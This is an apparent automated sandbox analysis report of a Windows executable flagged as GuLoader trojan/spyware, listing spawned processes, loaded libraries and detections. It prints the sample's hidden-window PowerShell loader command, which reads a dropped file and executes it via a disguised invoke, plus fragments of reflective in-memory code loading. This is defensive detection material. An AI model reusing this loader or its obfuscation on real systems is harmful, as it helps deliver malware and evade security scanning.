Windows Analysis Report
Snvlerier.exe

Source: C:\Users\user\Desktop\Snvlerier.exe	Code function: 0_2_00404977	0_2_00404977
Source: C:\Users\user\Desktop\Snvlerier.exe	Code function: 0_2_004062C7	0_2_004062C7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_0087DFE0	1_2_0087DFE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACD278	6_2_02ACD278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02AC5362	6_2_02AC5362
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACC146	6_2_02ACC146
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACC738	6_2_02ACC738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACC468	6_2_02ACC468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACCA08	6_2_02ACCA08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACE988	6_2_02ACE988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02AC3E09	6_2_02AC3E09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACCFAA	6_2_02ACCFAA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACCCD8	6_2_02ACCCD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02AC7118	6_2_02AC7118
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02AC3A91	6_2_02AC3A91
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02AC29EC	6_2_02AC29EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACF961	6_2_02ACF961
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02ACE97A	6_2_02ACE97A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_02AC9DE0	6_2_02AC9DE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA9548	6_2_23AA9548
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AACCA0	6_2_23AACCA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAFC68	6_2_23AAFC68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA9C70	6_2_23AA9C70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAF3A8	6_2_23AAF3A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA8BA0	6_2_23AA8BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA17A0	6_2_23AA17A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAF3B8	6_2_23AAF3B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA178F	6_2_23AA178F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA8B91	6_2_23AA8B91
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA9BF8	6_2_23AA9BF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA9328	6_2_23AA9328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA0B20	6_2_23AA0B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA0B30	6_2_23AA0B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAEB08	6_2_23AAEB08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAEF60	6_2_23AAEF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAEF51	6_2_23AAEF51
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAE6A0	6_2_23AAE6A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAE6B0	6_2_23AAE6B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA1E80	6_2_23AA1E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAEAF8	6_2_23AAEAF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AADE00	6_2_23AADE00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA1E70	6_2_23AA1E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAE258	6_2_23AAE258
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAE257	6_2_23AAE257
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAD9A8	6_2_23AAD9A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAD999	6_2_23AAD999
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AADDF1	6_2_23AADDF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA2968	6_2_23AA2968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAD540	6_2_23AAD540
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA295B	6_2_23AA295B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAD550	6_2_23AAD550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AACC8F	6_2_23AACC8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAD0E9	6_2_23AAD0E9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAD0F8	6_2_23AAD0F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA5028	6_2_23AA5028
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA003F	6_2_23AA003F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAF802	6_2_23AAF802
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA0007	6_2_23AA0007
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA5018	6_2_23AA5018
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAF810	6_2_23AAF810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AA0040	6_2_23AA0040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_23AAFC5E	6_2_23AAFC5E

Source: Snvlerier.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/14@6/6

Source: C:\Users\user\Desktop\Snvlerier.exe

Code function: 0_2_0040443B GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040443B

Source: C:\Users\user\Desktop\Snvlerier.exe

Code function: 0_2_00402036 CoCreateInstance,MultiByteToWideChar,

0_2_00402036

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7308:120:WilError_03

Source: C:\Users\user\Desktop\Snvlerier.exe

File created: C:\Users\user\AppData\Local\Temp\nsm2DDA.tmp

Source: Snvlerier.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\Snvlerier.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Snvlerier.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Snvlerier.exe

Virustotal: Detection: 27%

Source: C:\Users\user\Desktop\Snvlerier.exe

File read: C:\Users\user\Desktop\Snvlerier.exe

Source: unknown	Process created: C:\Users\user\Desktop\Snvlerier.exe "C:\Users\user\Desktop\Snvlerier.exe"
Source: C:\Users\user\Desktop\Snvlerier.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\Snvlerier.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Snvlerier.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Snvlerier.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source: Snvlerier.exe

Static file information: File size 1261140 > 1048576

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb;C source: powershell.exe, 00000001.00000002.2198489174.0000000008024000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bqm.Core.pdbE.b source: powershell.exe, 00000001.00000002.2197939088.0000000007F41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.2184444852.00000000006E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.2197939088.0000000007F41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbam" source: powershell.exe, 00000001.00000002.2198489174.0000000008024000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdbobOoC source: powershell.exe, 00000001.00000002.2197939088.0000000007F41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000001.00000002.2197939088.0000000007F41000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000001.00000002.2199226437.00000000093E6000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Schmear $Engirding254 $Sansars), (Adfrdsreglerne @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Norditalien149 = [AppDomain]::CurrentDomain.GetAssemblies(
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Fruefrakkes)), $Pentameridae).DefineDynamicModule($Kimmis, $false).DefineType($imitated, $Fodervikke, [System.MulticastDelegate])$Alle

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Snvlerier.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"
Source: C:\Users\user\Desktop\Snvlerier.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"			Jump to behavior

Source: C:\Users\user\Desktop\Snvlerier.exe

Code function: 0_2_00406018 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406018

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_0087CE82 push eax; mov dword ptr [esp], edx	1_2_0087CE94
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_0087CE8F push eax; mov dword ptr [esp], edx	1_2_0087CE94
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_0087D518 push esp; iretd	1_2_0087D571
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088F9448 push ebx; iretd	1_2_088F9449
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FF446 push ss; retf	1_2_088FF481
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FEE7F push edx; iretd	1_2_088FEE85
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FD98F pushfd ; iretd	1_2_088FD990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FD787 push eax; ret	1_2_088FD7AA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FDDA2 pushfd ; iretd	1_2_088FDDF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FF3BF push ss; retf	1_2_088FF481
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FCBE8 push ds; iretd	1_2_088FCBEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_088FDD60 pushfd ; iretd	1_2_088FDDF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6CBE8 push ds; iretd	6_2_03D6CBEE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6D787 push eax; ret	6_2_03D6D7AA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6D98F pushfd ; iretd	6_2_03D6D990
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6F3BF push ss; retf	6_2_03D6F481
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6DDA2 pushfd ; iretd	6_2_03D6DDF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6DD60 pushfd ; iretd	6_2_03D6DDF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6F446 push ss; retf	6_2_03D6F481
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D69448 push ebx; iretd	6_2_03D69449
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_03D6EE7F push edx; iretd	6_2_03D6EE85

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Snvlerier.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Snvlerier.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
